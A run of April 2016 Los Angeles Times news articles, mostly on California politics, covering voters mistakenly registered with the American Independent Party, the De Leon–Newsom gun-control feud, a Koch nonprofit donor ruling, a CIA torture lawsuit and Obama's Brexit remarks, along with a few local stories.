I vote by mail and my parents send me the ballot, so I try my best to be informed in every single election, says Yu, who is double-majoring in mathematics and computer science.

When she saw The Times story being shared on Twitter, she checked her registration, and realized her mistake.

https://twitter.com/notjenniferyu/status/722255658918088705

When people say that Bernie Sanders or Michael Bloomberg were independent, I honestly thought they belonged to the Independent Party, Yu said.

She immediately changed her registration online, and then texted her high school AP government teacher to tell him she was a low-information voter, who had mistakenly registered.

The teacher replied, I should probably tell my students about that.

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A self-described anchor baby

Amanda Cabanilla described herself as a queer child of immigrants, and was appalled to learn about her affiliation with the AIP.

Im currently in a same-sex relationship. Im kind of the definition of an anchor baby, and Im very, very pro-choice, said the 25-year-old Whittier College student, who was featured in The Times story.

I honestly had no idea that there was a difference between an American Independent Party and undeclared. I definitely think that the party name was misleading. I like to think that Im informed, and I like to stay up with my current events.

Just an old hippie who checked the wrong box

I mean, just the way people talk about it, they say, Im an independent. Thats the word that stuck in my head when I went to re-register, says Deborah Silva, 64, who lives in rural Mendocino County.

She says she remembers re-registering three years ago outside a grocery store. She says she opposes practically all of the American Independent Partys platform.

America was founded on immigration, for one thing. Were all immigrants, from the beginning of our country. And I believe in a womans right to choose what they want to do with their bodies, she says. Im just an old hippie.

She says she regrets not paying closer attention, adding, Im not one to blame others for dumb mistakes Ive made.

A lifelong Democrat whos voting for Trump

I thought I was changing it to where I could speak my own mind and vote for whoever I wanted to vote for, says Evelyn Holliday, a retired forklift driver from Clovis.

She says she was approached outside a Wal-Mart one day by signature-gatherers who asked whether she wanted to re-register. I remember them telling me that if I went this way, the American Independent Party, that I would be an American and Im independent. Looking back now, she says, it was a stupid move.

A lifelong Democrat, Holliday says she became disenchanted with the party, and now believes they all lie.

She says shell vote for Donald Trump because she likes his straight talk, but adds, I dont want to become a Republican.

An immigrant whos proud to stand with AIP, even by mistake

Fayza Ghazal says shes always prided herself on being a fierce independent. I vote for the one thats right for the country, says Ghazal, 66, who emigrated from Egypt in 1979. Before you vote and waste your voice, you should listen to what [candidates] have to offer, do some research, and dont tie it to your registration.

But when Ghazal heard about the American Independent Partys platform points on same-sex marriage, illegal immigration and abortion rights, she said she agreed.

I am very proud I registered with this American Independent Party, even if it is by mistake, she said. If they really stand next to what they believe, then thats what I believe in.

As an accountant who always prided myself on fact-checking, I was stunned to read in The Times that I may have been hoodwinked by a glibly manufactured label.  Komla Ametu of Sylmar

A recent New York transplant who studied voting issues

Honestly, it would have been the top of irony, says Courtney McKinney, 26, a writer who recently moved to Calaveras County from New York.

McKinney says back in New York, she was begrudgingly registered with a political party because of the states closed primaries. I was bummed that I had to affiliate, McKinney says.

https://twitter.com/courtDMC/status/722097457677471745

When she realized California allowed voters to remain undeclared, she was ecstatic.

But then she discovered that shed mistakenly registered for the American Independent Party, given its roots are with segregationist George Wallace. She is biracial.

She says she was embarrassed about the mixup, especially since she used to work on voting rights issues for a think tank on the East Coast.

It was really too ironic, as someone coming from the left, hoping to find independence, and to find myself in one of the most conservative parties in California. Its comical.

I discovered my mistake when attempting to vote in the last presidential primary. When I entered the booth, I discovered that only AIP candidates were listed. The poor volunteer at a very racially diverse polling place informed me.  Meredith Alleruzo, Times reader

The attorney and the real estate broker

Elyse Caraco Miller and her husband consider themselves relatively intelligent people, Miller wrote in an email to The Times, but were shocked to discover they were mistakenly registered after reading The Times story.

Im certain that the partys fastest growing status is largely due to misconception and error, not an enthusiastic embrace of AIPs platform, she wrote.

The article had a direct impact on our household, she said. They re-registered online that day.

A moderate Republican who isnt a Hillary fan

I didnt realize I belonged to some goofy, right-wing party, says Richard Comerford. But when he read the story Sunday, he thought the American Independent Party sounded vaguely familiar.

So he dug out his voter registration stub, and, sure enough, he was listed as AI.

https://twitter.com/Truth_Quest30/status/721836615971119104

I think these guys are just far, unusually right-wing, he said after researching the partys platform. Comerford, who lives in Santa Clarita, considers himself a moderate Republican, but was disappointed about the confusing process to register.

I just wish the form was a little more clear, he said.

Comerford says despite his leanings, he is planning to vote for Bernie Sanders in the Democratic primary because he dislikes Hillary Clinton. He changed his registration online so he could vote for Sanders on June 7.

For more on California politics, follow @cmaiduc.

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If it happened to you, please share your experience here or in the comments below.
Kaley Cuoco (Jason Merritt / Getty Images for NARAS) (Jason Merritt / Getty Images for NARAS)

Some of California's top celebrities got a surprise when the Los Angeles Times informed their representatives they were members of the ultraconservative American Independent Party.

The Times investigation revealed a majority of people in the party, which opposes abortion rights and same-sex marriage, might be in it by mistake.

That was the case for several A-listers with Democratic leanings, including Sugar Ray Leonard, Demi Moore and Emma Stone.

Kaley Cuoco issued her own statement to The Times suggesting she wants to change her registration immediately, after learning she was among those who believed they were declaring that they preferred no party affiliation when they checked the box for the American Independent Party.

Are you an independent voter? Not if you checked this box >>

The views of this party do not accurately reflect my personal beliefs and I am not affiliated with any political party, Cuoco, best known for her role on The Big Bang Theory, told The Times. As such, I am taking the necessary steps to immediately remove my name as a member of this voting party.

Emma Stone (Guillaume Horcajuelo / EPA) (GUILLAUME HORCAJUELO / EPA)

Sugar Ray Leonard (Mark Davis / Getty Images for Sugar Ray Leonard Foundation) (Mark Davis / Getty Images for Sugar Ray Leonard Foundation)

Stone is mistakenly affiliated with the party and plans to change her registration before the June election, a representative told The Times.

A representative said Leonard, who contributed to both President Obama and the Democratic National Committee in 2012, is taking steps to correct his registration and leave the AIP.

Demi Moore (Kevork Djansezian / Getty Images) (Kevork Djansezian / Getty Images)

Moore has both contributed money to and campaigned for President Obama.

She appeared in a celebrity-packed 2009 public service video proclaiming to be a servant to our president because together we will be the change that we seek.

Her registration as an AIP member is wrong, a representative said.

Demi Moore is not, nor has ever been, a member of the American Independent Party, the representative said.

Any record that states otherwise is a mistake.

Celebrity yogi Rainbeau Harmony Mars plans to vote for Hillary Clinton in California's June 7 primary. She'll need to change her registration first, since Democrats only allow voters with no party preference to participate.

I guess I was misinformed, she said in a phone interview. I remember marking independent, and I just wanted to...choose depending on who I liked.

Mars says environmentalism guides most of her voting decisions.

Celebrity yogi and actress Rainbeau Mars (Frederick M. Brown / Getty Images) (Frederick M. Brown / Getty Images)

I try to be neutral, in yoga and health, to be for everyone, she said, and she doesnt ascribe to all of the traditionally liberal political stances. I was raised by hippies, and I can see a lot of the falsities in that too.

She said she was shocked to hear some of the platforms of the American Independent Party.

Im definitely not opposed to same-sex marriage, and I think the wall is a really dumb idea, Mars said. I believe in one humanity, and honestly, multiple colors.

I feel misled. I feel that it should be more clear when you say independent -- it should be in bold letters...very clearly, what does the party support.

Aaron Eckhart (Kevin Winter / Getty Images) (Kevin Winter / Getty Images)

The Times found Actor Aaron Eckhart in the voter database as being registered with the American Independent Party.

A representative insisted the Dark Knight Returns star is an independent voter, no matter what the records show.

Eckhart also appeared in the video tied to public service when Obama was inaugurated. Watch it:

Times staff writers Lauren Raab, Christina Bellantoni, Julie Westfall and Anthony Pesce contributed to this report.

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Colleen's story: That time I realized I was registered with the wrong party

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Sanders on California primary: You're going to see more of me than you're comfortable with
A photograph from 1945 shows some of the devastation in Hiroshima, Japan, after the atomic bomb blast. (Stanley Troutman / Associated Press) (Stanley Troutman / Associated Press)

Rep. Mark Takano didnt know about his family history in Hiroshima, Japan, until he visited relatives there in 2002.

He didnt know his great-aunt was supposed to be working near the bomb site that day, or about the bodies that choked the river or how residents tried to use cucumber to try and cool burned skin that ended up falling off anyway.

His trip made the Aug. 6, 1945, bombing real to Takano, and the Riverside Democrat is asking President Obama to make a similar stop when he visits Japan next month, saying political leaders in any countries with nuclear arsenals should see the site themselves.

I think it would be very meaningful for him to do before he leaves office, Takano said in an interview between House votes Thursday. Its a place that I think people should visit. It makes you very thoughtful, very reflective, especially if you are in a position of leadership and power, this is a place you should go.

No sitting U.S. president has visited the site where the United States dropped an atomic bomb in the final days of World War II. The blast and fallout killed 140,000 people.

Takano speculated that American politicians have likely wanted to avoid the appearance that the United States is apologizing. Many Americans believe that dropping atomic bombs on Hiroshima, and on the Japanese city of Nagasaki three days later, were justified and hastened the war's end.

Seeing an American president visit Hiroshima would heal old wounds, Takano said.

It would be enormously healing for both sides. We have an alliance that could be made stronger, he said.

Obama is scheduled to travel to Mie, Japan, for the G-7 Summit on May 26 and 27 along with the leaders of Canada, France, Germany, Italy, Japan and the United Kingdom.

During his first year in office, Obama said he would be "honored" to visit Hiroshima, but a final decision about whether he will make the trip in late May hasn't been announced. The president has visited a concentration camp in Germany.

Secretary of State John Kerry visited Hiroshima on April 11 with others preparing for the summit.

Kerry called touring the museum "gut-wrenching" and urged all world leaders to visit.

"It tugs at all of your sensibilities as a human being. It reminds everybody of the extraordinary complexity of choices of war and what war does to people, to communities, countries, the world," Kerry said. "I don't see how anyone could forget the images, the evidence, the re-creations of what happened."

Takano spoke on the House floor Thursday and sent the president a letter urging a visit.

"A visit to Hiroshima is not an apology on Americas behalf. It is a signal that the commander in chief of the worlds largest arsenal of nuclear weapons appreciates their power and it sets an example for other world leaders to follow," he wrote in the letter.

A White House official would only say that the president is looking forward to the summit and further details about the trip haven't yet been released.

Takano was visiting a second cousin and great-aunt when he learned that his great-aunt Kikue Takagi was a survivor of the bombing but had never been to Hiroshima Peace Memorial Park or to the Hiroshima Peace Memorial Museum.

Takagi had been sick the days before the bomb fell, and her mother had kept her home rather than send her along with her middle school classmates who were clearing fire lanes in the heart of the city.

All of the middle school students were expected to go in and do public service, in this case right at ground zero, right downtown, he said. Most of her classmates were there and a lot of teachers. That made a huge impression on me.

Tattered school uniforms from the thousands of students who died were among the museum exhibits, he said.

As they drove to the museum, his great-aunt pointed out the car window to the Ota River.

She just said to me in halting English, 'They say that you could not see the river because it was so covered with floating bodies,' Takano said. I thought at that moment, I really think that anybody that controls a nuclear arsenal ought to come here and experience what the consequences of using one of these weapons is.

Takano's great-uncle, an elementary school student at the time, was cut by flying glass. Other relatives closer to the blast saw their skin turn grey and leathery or tried to use cucumber slices to cool the burns because there was no medicine.

His great-grandmother saw the explosion from a sweet potato patch in the mountains, and initially thought it was a fertilizer fire, he said.

The fact that I was related to a survivor began a whole new relationship that I had with this blast. It wasnt a historical fact that was distant, abstract. It was very personal and there was a living connection to me, Takano said.

Takano is one of three Japanese American members of the California delegation in Congress.

Democratic Reps. Mike Honda of San Jose and Doris Matsui of Sacramento both spent time in internment camps as children during World War II. Takano said the internment of his parents and grandparents is a reason his family never discussed Hiroshima or relatives who survived or died. Takanos father was shocked to learn of his aunts close call, the congressman said.

Its something my family never ever brought up. We never thought to ask her these questions. My family was reeling just a few decades out of internment camps and ... [had] distanced themselves from Japan, Takano said. Our Americanism had been so doubted and questioned."

sarah.wire@latimes.com

Twitter: @sarahdwire

Read more about the 55 members of California's delegation at latimes.com/politics.

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Dorothy was right: Theres no place like home.

Republican Donald Trump and Democrat Hillary Clinton romped to smashing victories this week in New Yorks presidential primary, thanks to the voters who know them best: Trump as the larger-than-life Manhattan developer and tabloid personality; Clinton as the states dutiful former U.S. senator.

Hello and good afternoon, Im Mark Z. Barabak, guest hosting this week for Washington bureau chief David Lauter. Welcome to the Friday edition of our Essential Politics newsletter, in which we look at the events of the week in the presidential campaign and highlight some particularly insightful stories.

DELEGATE-PALOOZA

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The big wins by Trump and Clinton pushed them farther down the path toward their respective party nominations, though, as this story with Michael Finnegan points out, the route for Trump is a steep one, strewn with many obstacles.

He is a good bet to carry the five states that vote next Tuesday and build his lead in the delegate count. But Trump and his chief rival, Texas Sen. Ted Cruz, face a big test in Indiana on May 3 and, most critically, in Californias June 7 primary, which wraps up the GOP nominating fight with the biggest cache of delegates any state has to offer.

The Republican race is all about delegates at this point, and the overarching question is whether Trump can win the 1,237 needed to clinch the nomination on the conventions first ballot, or if the fight spills onto the floor this summer in Cleveland.

With the stakes so high, small things  like a misprinted ballot, or poor record-keeping  matter a good deal, as Melanie Mason noted in this story. Mason also was on hand as leaders of the GOP met in sunny Florida to discuss the rules that will guide the partys national convention. They avoided changes, lest it play into Trumps assertions the system is being rigged to undermine his candidacy.

Lisa Mascaro traveled to Georgia and sat in as the state GOP seated its delegates to the national convention. It was a good showing by forces loyal to Cruz, even though Trump carried the state, illustrating the front-runners organizational weakness.

Noah Bierman visited Pennsylvania ahead of Tuesdays primary and found considerable frustration among voters unhappy that theyll be voting with no clue whom the states delegates will end up backing.

And you can always track the delegate race in real time here.

NASTY OR NICE?

On the Democratic side, Clinton sits in a much stronger position that Trump. She, too, is a strong favorite for a five-state sweep next Tuesday.

But her contest with Bernie Sanders has a taken a decidedly harsh turn and the question, as Cathleen Decker notes, is when and whether the candidates temper their mutual animosity for the sake of party unity.

Stepping back a bit, Decker also examined one of the most persistent patterns in the Democratic race: the divide between older voters who favor Clinton and the millennials flocking to support Sanders.

Before leaving New York, Chris Megerian and Evan Halper visited Wall Street to see how Sanders attacks on the financial industry have played among the bulls and bears. Spoiler alert: not well.

THE TRUMP EFFECT, CONTINUED

Win or lose, there is no doubting the impact Trump has had on the campaign and, more broadly, on the national conversation.

Kate Linthicum found that Trumps scorching rhetoric along with the fierce debate over immigration policy has prompted a surge in immigration applications and a heightened interest in voting.

SPEAKING OF THAT IMPORTANT CALIFORNIA PRIMARY ...

A Los Angeles Times examination found that hundreds of thousands of people who planned to vote on June 7 may not be able to because they mistakenly signed up with the American Independent Party, thinking they were merely declaring their independence from either of the two major political parties. Are you one of them? Find out here.

WHAT WERE READING

Roll Call, the Capitol Hill newspaper, has an interesting perspective on the Democrats long-in-the-tooth leadership, including San Franciscos 71-year-old Nancy Pelosi.

Nobody knows Nevada like pundit and TV analyst Jon Ralston. In Politico Magazine, he writes about Harry Reids final crusade, helping the states Democrats recover from their wreck of a 2014 campaign.

IF YOU LIKE THIS NEWSLETTER, TELL YOUR FRIENDS TO SIGN UP

That wraps up this week. My colleague Christina Bellantoni will be back Monday with the weekday edition of Essential Politics. Until then, keep track of all the developments in the 2016 campaign with our Trail Guide at our politics page and on Twitter at latimespolitics.

Send your comments, suggestions and news tips to politics@latimes.com.
A political war of words has broken out between Senate President Pro Tem Kevin de Leon and Lt. Gov. Gavin Newsom over how to enact new gun control laws in California.

Newsom is close to turning in 600,000 signatures to put a measure on the November ballot designed to reduce gun violence, but De Leon wants him to agree to step aside if the issue can gain traction in the Legislature by June.

The Los Angeles lawmaker warned his fellow Democrat in a private letter on Thursday that pursuing the initiative could derail gun control.

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Newsom wrote back later Thursday urging De Leon to join his initiative drive. He voiced skepticism about legislative efforts to address gun control, adding that the measure De Leon supports is fundamentally different from his ballot measure, the Safety for All Act.

De Leon has been trying for more than two years to pass a series of gun control bills that include background checks for those who buy ammunition, and bans on semi-automatic rifles with detachable magazines and the possession of large-capacity magazines.

In October, Newsom launched a petition drive to qualify an initiative for the November ballot that would implement many of the gun control measures proposed by lawmakers, including background checks for bullet buyers and a ban on possessing magazine clips holding more than 10 rounds.

Newsom believes he will have enough signatures to qualify the initiative by June 30 and plans to pursue the measure even if legislators act on a batch of bills regulating firearms, said Dan Newman, a campaign advisor.

De Leon said it does not sit well with him that Newsoms plan to pursue the initiative  no matter what  has been conveyed to members of the Assembly who have yet to take up the bills.

I am troubled by reports that you plan to move forward with your initiative regardless of our commitment to work together and what the Legislature can accomplish this session, De Leon wrote to Newsom. This would amount to a risky all-or-nothing strategy that endangers the potential for enacting strong measures this year that will surely save lives.

De Leon said that he believes the legislation can be passed.

A major impediment to success, however, is your stated position not to pull the Safety for All Act from the ballot under any circumstances, De Leon wrote. I fully understand the utility and strategy of public and private posturing.

The downside is you will provide aid to gun-control opponents by giving cover to reluctant legislators who would rather side-step this important issue in lieu of a ballot initiative, De Leon wrote in the two-page letter, which also said Newsoms ammunition regulation would deny California the flexibility to implement a more thoughtful and cost-effective approach.

In an interview with The Times, De Leon noted that changes in the initiative process now allow the proponents of a ballot measure to withdraw it if the Legislature acts satisfactorily on the issues addressed.

De Leon said Newsom is free to file the signatures and have them verified, but he wants Newsom to be willing to drop the initiative in June if legislators take action. Gatherers are now out on the streets collecting at least 365,880 valid voter signatures. They may turn them as soon as next week.

The initiative makes reforms the Legislature has failed to enact, as well as others the Legislature isnt even considering, and others that they simply dont have the authority to legally address, Newsom wrote to the Senate leader.

Newsom said only an initiative, for instance, can amend part of 2014s criminal justice measure, Proposition 47  a portion that critics say would allow people convicted of theft of a firearm to be charged with a lesser crime than felony grand theft.

Provisions in the Newsom initiative that go beyond the reach of the legislative measure include requiring state and federal governments to share data from Californias list of people who are prohibited from possessing firearms.

Your suggestion that there is `a good chance of the Legislature approving some related proposals is far from a guarantee for the states gun violence victims, Newsom wrote. The Legislature has shown mixed results in passing legislation to address gun violence, including failures to pass some of the provisions proposed in the Safety for All Act. In contrast, polls show the public strongly supports the Safety for All Act.

De Leon, however, said the Legislature was elected to pass laws.

When you go to the ballot it should not be the first choice. It should always be a last choice, because its a blunt instrument and once you lock it in constitutionally, its almost impossible to reverse that policy, De Leon told The Times. He should allow the Legislature to do its work.

This is not the first time the two powerful Democratic politicians  both with ambitions for higher office  have feuded.

In November, De Leon acted to slash a third of Newsoms staff, notifying Newsom that two Senate employees who had been on loan to the lieutenant governors office were being reassigned.

patrick.mcgreevy@latimes.com

Follow @mcgreevy99 on Twitter

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Opening political rift, Sen. De Leon slashes staff of Lt. Gov. Newsom

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Updates from Sacramento
A federal judge has ruled that a nonprofit backed by conservative billionaires David and Charles Koch does not have to reveal its donors to Atty. Gen. Kamala Harris in a case that pitted state law governing charities against 1st Amendment rights.

U.S. District Judge Manuel Real, in a ruling issued Thursday, found that the Americans For Prosperity Foundation, a 501(c)(3) charity organization, can ignore Harris demand to turn over the names and addresses of those who have donated more than $5,000.

Such disclosure, Real wrote, chills the exercise of [the group]'s 1st Amendment freedoms to speak anonymously and to engage in expressive association.

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David Beltran, a spokesman for Harris, said the attorney general will now take the case to the the 9th Circuit Court of Appeals.

The lawsuit was filed by the Arlington, Va.-based nonprofit in December 2014, after Harris office demanded the group submit its donor list or risk losing its state-sanctioned ability to raise money in California.

The attorney general said that long-standing state law requires charities to submit donor information, and that officials ensure that the information isnt disclosed to the public. But in his ruling, Real cast doubt on the state Department of Justices ability to not publish the donor list by mistake.

The attorney generals current approach to confidentiality obviously and profoundly risks disclosure, he wrote.

The judge also pointed out that the Americans For Prosperity Foundation had routinely made annual charity filings with the state since the early 2000s and was never asked for the donor list from its IRS Form 990 until March 2013.

Both the group and its sister organization, Americans For Prosperity, have long ties to billionaire industrialists David and Charles Koch. David Koch is chairman of the foundations board. Americans For Prosperity has played a major role in advocating for conservative causes in state and national politics, while the foundation  which filed the lawsuit against Harris  has more restrictions on how it spends money in relation to politics. Its donors contributions, though, are tax-free.

Critics have said the Koch brothers support of these and other groups highlights the problem of opaque laws governing donor disclosure by politically minded nonprofits.

Derek Shaffer, an attorney for the Americans for Prosperity Foundation, released a statement on behalf of the organization praising the court for its ruling.

The Foundation is gratified that Judge Real has vindicated its First Amendment right to resist the California Attorney Generals demand that all charities disclose the names and addresses of all of their major donors nationwide. We hope this important victory will enable Americans, even in the face of governmental overreach, to retain their freedom, privacy and security as they support charities of their choosing.

Beltran, the spokesman for the attorney general, said the filing of IRS donor forms is a long-standing requirement that has helped attorneys general for more than a decade protect taxpayers against fraud.

In court, state lawyers argued that the donor documents allow investigators to track improper loans and unfair business practices by nonprofits. But attorneys for the Americans For Prosperity Foundation countered that donors feared for their safety if their identities were somehow revealed. Judge Real agreed.

Once AFPs donor information is disclosed, it cannot be clawed back, he wrote in his ruling.

------------

For the record

9:51 p.m.: A previous version of this article referred to the Center for Competitive Politics as the Center for Responsive Politics.

------------

Thursdays ruling stands at odds with a lawsuit filed against Harris over disclosure of donors to a similar nonprofit, the Center for Competitive Politics. In that case, however, a federal judge agreed with Harris.

Last November, the U.S. Supreme Court refused to hear the organizations appeal.

john.myers@latimes.com

Follow @johnmyers on Twitter, sign up for our daily Essential Politics newsletter and listen to the weekly California Politics Podcast

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Updates from Sacramento

Updates on California politics
The Festival of Arts grounds turned into a celebration of Himalayan culture Saturday and Sunday.

About 7,800 visitors enjoyed cultural traditions of Tibet, Nepal, Bhutan and India, including folk dances, ethnic food, art and music, during the citys second Himalayan Festival.

The organizing committee, made up of Southern California residents, orchestrated the festivities with support from Laguna Beachs Neighborhood Congregational Church.

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The event objective is to bring Southern California people together in a festive environment, and it also offers a platform for a large number of people to observe and experience a rich cultural heritage of Himalayan regions, according to a description on the churchs website. This event could extend and strengthen cultural ties between Himalayan regions, diaspora communities, and people from Southern California.

Proceeds from admission sales paid for the cost of renting the venue, with leftover money going to relief efforts in Nepal following last years 7.8-magnitude earthquake, said Dhondup Tsering, one of the event organizers. More than 8,000 people died as a result of the quake.
California officials recent decision to loosen water-use reduction mandates for several Orange County water districts appears to have given Newport Beach a leg up in March.

According to preliminary data from the city utility, Newport achieved a 29% use reduction last month  the highest yet for the city  putting its cumulative water savings at 21% from June through March. That equals the revised requirement the state gave the city last month.

Join the conversation on Facebook >>

George Murdoch, the citys municipal operations director, attributed improved conservation to the notices of violation and fines the city sends to people who are found to be wasting water.

Its not something that we like to do, but we will continue to fine, Murdoch said.

The city of Newport Beach, which serves 66,219 water customers, had struggled month after month to reduce its water use to meet its original 28% conservation target. However, the state agreed to lower Newports mandate to 21%, which officials said could help the citys water service meet its target by the October deadline.

It doesnt mean the droughts over.  George Murdoch, Newport Beach municipal operations director

State water officials in February extended restrictions on urban water use through October but indicated that some water districts could apply to have their conservation goals reduced based on population growth, warmer-than-average weather in certain areas and significant investments in drought-resilient water sources. Reductions to conservation standards ranged from 2 to 8 percentage points, according to data from the State Water Resources Control Board.

The state reduced conservation targets for several Orange County water districts, partly because many of them receive a large portion of their supply from the Orange County Water Districts groundwater replenishment system, Murdoch said.

The system, which started operating in 2008, is a water-purification project that can produce up to 100 million gallons of water every day, lessening the countys dependence on imported water from Northern California and the Colorado River. About a third of Newports water is imported and the rest comes from groundwater, according to Robert Hunter, general manager of the Municipal Water District of Orange County, a wholesale water supplier and planning agency that serves most of the county.

Read the latest headlines from the Daily Pilot >>

But Hunter cautioned residents and business owners during a Wake Up Newport meeting Thursday presented by the Newport Beach Chamber of Commerce that they shouldnt let water flow freely just yet.

Hunter said he expects that the state board at its next meeting will ease restrictions on local districts, given improved snowpack and reservoir levels in much of the state. But he doesnt think the reduction mandates will be rescinded completely.

Murdoch applauded the citys performance in March but emphasized that the community still needs to conserve.

It doesnt mean the droughts over, he said. People have to remember that we need to remain at 21% cumulatively until October.

--

Hannah Fry, hannah.fry@latimes.com

Twitter: @HannahFryTCN

--

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A former Glendale police officer and attorney accused of child molestation was arrested in Mexico Thursday after four years on the lam, federal officials said.

Registered sex offender Arthur Crabtree, 54, was arrested by Mexican authorities in Puerto Vallarta, where hed been using false identification, and deported to the United States, according to the Federal Bureau of Investigation.

NEWSLETTER: Stay up to date with whats going on in the 818 >>

Crabtree, who spent more than 15 years on the Glendale police force before leaving in 2000 to practice law, was arrested in January 2005 after arranging a meeting with an undercover agent posing as a 13-year-old girl at the Greyhound bus station in downtown Los Angeles.

The following year, he was convicted of one felony count of attempted lewd acts on a child, three felony counts of attempting to send harmful material over the Internet, four misdemeanor counts of attempted child molestation and one misdemeanor count of child molestation.

Testimony and evidence presented during the trial revealed that Crabtree had solicited an underage Santa Clarita girl and several undercover agents who posed as five different teenage girls.

Crabtree was released from prison in August 2009.

A couple years later, he was arrested during a routine compliance check after allegedly violating the terms of his parole when agents reportedly found two computers and other suspicious materials in his Glendale home.

According to federal court records, investigators found evidence on Crabtrees laptop that he was in contact with minors. He was subsequently charged with one count of child molestation.

In 2012, he reportedly failed to show up to court, and investigators believe he fled to Mexico to avoid prosecution.

FBI agents this week received a tip that Crabtree was living in Puerto Vallarta and worked with Mexican law enforcement officials, who took Crabtree into custody.

--

Alene Tchekmedyian, alene.tchekmedyian@latimes.com

Twitter: @atchek
Ecuadors popular destinations, such as the Amazon, the Andes and the Galapagos Islands, are open for tourism despite April 16s deadly magnitude 7.8 earthquake and subsequent aftershocks, the countrys Ministry of Tourism announced Thursday.

The tourist areas are unaffected, and the international airport and city services in the capital, Quito, which felt the quake, remain fully operational and ready for travelers, officials said.

We are relieved to be in such good condition, but our hearts go out to our fellow citizens at this time, Quito Mayor Mauricio Rodas Espinel said in a statement. The best way to assist in the recovery and rebuilding efforts is to embrace foreign visitors.

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The quake hit in the southwestern coastal area of Manabi, about 250 miles from Quito. The death toll now stands at more than 580 people.

Martha Honey of the Washington-based Center for Responsible Tourism said U.S. travelers shouldnt cancel their vacation plans if they want to see the country -- and help Ecuador.

This is a case where tourism is extremely important to the country, she said. Of course, you should steer clear of areas near the quakes epicenter, where damage and destruction is greatest and where you would just be in the way, Honey said.

Jim Lutz, founder and president of Vaya Adventures, said his company hasnt had any cancellations and is continuing to operate its tours.

If people start canceling their trips to unaffected areas, it will in a sense be kicking the country while its down, he wrote by email.

Check updates (in Spanish) about conditions in Ecuador at the countrys Ministry of Tourism.

Americans who continue with their trips to Ecuador should register with the Smart Traveler Enrollment Program at travel.state.gov to receive updates about conditions. The program also allows the U.S. Embassy to contact you in an emergency.

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For the first time, a federal judge is letting a civil lawsuit proceed against two CIA contract psychologists who designed and supervised brutal interrogation tactics that critics called torture.

The ruling allows two former CIA detainees and the family of another who died in agency custody to try to win damages in federal court for the abuse they suffered at then-secret CIA prisons in the early 2000s.

In a ruling from the bench at federal district court in Spokane, Wash., Senior Judge Justin L. Quackenbush said he would deny a motion to dismiss the lawsuit against James E. Mitchell and Bruce Jessen.

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NEWSLETTER: Get the days top headlines from Times Editor Davan Maharaj >>

According to the lawsuit and a Senate Intelligence Committee report, the mistreatment included waterboarding, sleep deprivation, confinement in small boxes, rectal feeding and beatings.

Quackenbush gave the parties 30 days to submit plans to request documents, gather sworn statements and collect evidence for the case.

As the lawsuit progresses, it may shed more light on the so-called enhanced interrogation techniques that the CIA used in an effort to collect intelligence about Al Qaeda operations and future plots after the Sept. 11, 2001, attacks.

Its unprecedented, Dror Ladin, the American Civil Liberties Union attorney who argued the plaintiffs case in court Friday, said in a telephone interview from Spokane. No CIA torture victim has ever taken this step toward accountability. Every previous lawsuit has been shut down before this stage.

It gives our clients a chance to prove their claims and finally get some justice, he said.

The Department of Justice had blocked previous lawsuits aimed at the CIAs now-barred detention and interrogation program on grounds that any case could reveal secrets and compromise national security.

That changed after the Senate Intelligence Committee released a report in December 2014 that exposed details about the program, including the role played by Jessen and Mitchell. The two were referred to by pseudonyms in the report.

The lawsuit claims that the two former Air Force psychologists designed and implemented the harsh interrogation methods used on 39 CIA captives between 2002 and 2008.

Lawyers for the three plaintiffs want Jessen and Mitchell to pay compensatory damages of more than $75,000, punitive damages and attorneys fees.

Quackenbush rejected the defense argument that the case is too politically sensitive to be heard in federal court and that government contractors are protected with immunity for their conduct.

Mitchell and Jessens attorneys did not reply to requests for comment on the ruling.

The defense lawyers also argued that the case should be dismissed because the psychologists did not commit the acts described in the lawsuit.

They did not make decisions about Plaintiffs capture, treatment, confinement conditions, and interrogations; and they did not perform, supervise or control Plaintiffs interrogations, defense attorney Christopher Tompkins wrote in court documents.

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The plaintiffs include the family of Gul Rahman, an Afghan farmer who died of hypothermia, beatings and other abuse after two weeks in CIA custody in November 2002 in what the CIA later confirmed was a case of mistaken identity.

Another plaintiff, Mohammed Ahmed Ben Soud, a Libyan, was arrested in Pakistan in April 2003 and held in secret CIA prisons for more than a year. He now lives in the Libyan city of Misurata and continues to suffer deep psychological harm, the suit says.

The third, Suleiman Abdullah Salim, a Tanzanian, was held at a secret CIA site in Afghanistan called the salt pit from March 2003. According to the lawsuit, he was sodomized, chained to a wall for days and held in solitary confinement for 14 months. He lives in Zanzibar, Tanzania.

brian.bennett@latimes.com

Follow me @ByBrianBennett on Twitter

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President Obama made a forceful case Friday against Britain severing its relationship with the European Union, arguing that such a move could diminish Britains global standing and even potentially imperil its special relationship with the U.S.

The presidents comments, while welcomed by Prime Minister David Cameron and other leading officials who support continued membership in the EU, drew swift criticism from opponents who saw it as an unseemly intervention by a foreign leader into domestic politics.

The question, though, is whether Obamas opinion will matter much to British voters in the June referendum.

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Speaking at a news conference with Cameron after the two met at 10 Downing Street, Obamas case doubled as a defense of his own belief in the value of internationalism and in bodies like the EU and NATO in tackling global challenges.

There is a British poet who once said, No mans an island, even an island as beautiful as this, Obama said, referencing a famous line by 17th century writer John Donne. We are stronger together, and if we continue to tackle our challenges together, then future generations will look back on ours, just as we look back on the previous generation of English and American citizens who worked so hard to make this world safer and more secure and more prosperous, and theyll say that we did our part.

In the days leading up to Obamas visit to Britain, probably his last as president, White House aides were circumspect about how deeply Obama would wade into the so-called Brexit issue, if at all.

But Obama had barely touched down in London on Thursday night when the Telegraph newspaper published an op-ed from the president describing his view with the candor of a friend, and why he felt the U.S. had a stake in the outcome.

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The tens of thousands of Americans who rest in Europes cemeteries are a silent testament to just how intertwined our prosperity and security truly are. And the path you choose now will echo in the prospects of todays generation of Americans as well, he wrote, pointing to the wartime alliances of the U.S. and western Europe.

Obamas intervention has not been received warmly on the part of the leave camp. London Mayor Boris Johnson, perhaps its most prominent backer, even raised the presidents African roots in criticizing his position, questioning whether it was a symbol of the part-Kenyan presidents ancestral dislike of the British Empire. Nigel Farage, head of the isolationist United Kingdom Independence Party, expressed a similar view.

Obama has been the most anti-British president there has ever been, he told the BBC. We know than his grandfather grew up in Kenya in the empire and I suspects he holds a grudge about that.

A new survey of British voters from Ipsos MORI conducted ahead of Obamas visit found that they were about evenly divided about whether he should wade in, with 46% saying Obama should not express a view on the Brexit question, while 49% thought he should.

Views on Obamas intervention tended to break down neatly based on a voters position on the issue itself, explained Gideon Skinner, head of political research for the pollster.

Most dont think his views will be very important to them in deciding how to vote, he said. And when they are it tends to be among those leaning towards remain rather than changing the minds of those who want to leave. So if it is going to help it may be through bolstering the remain side.

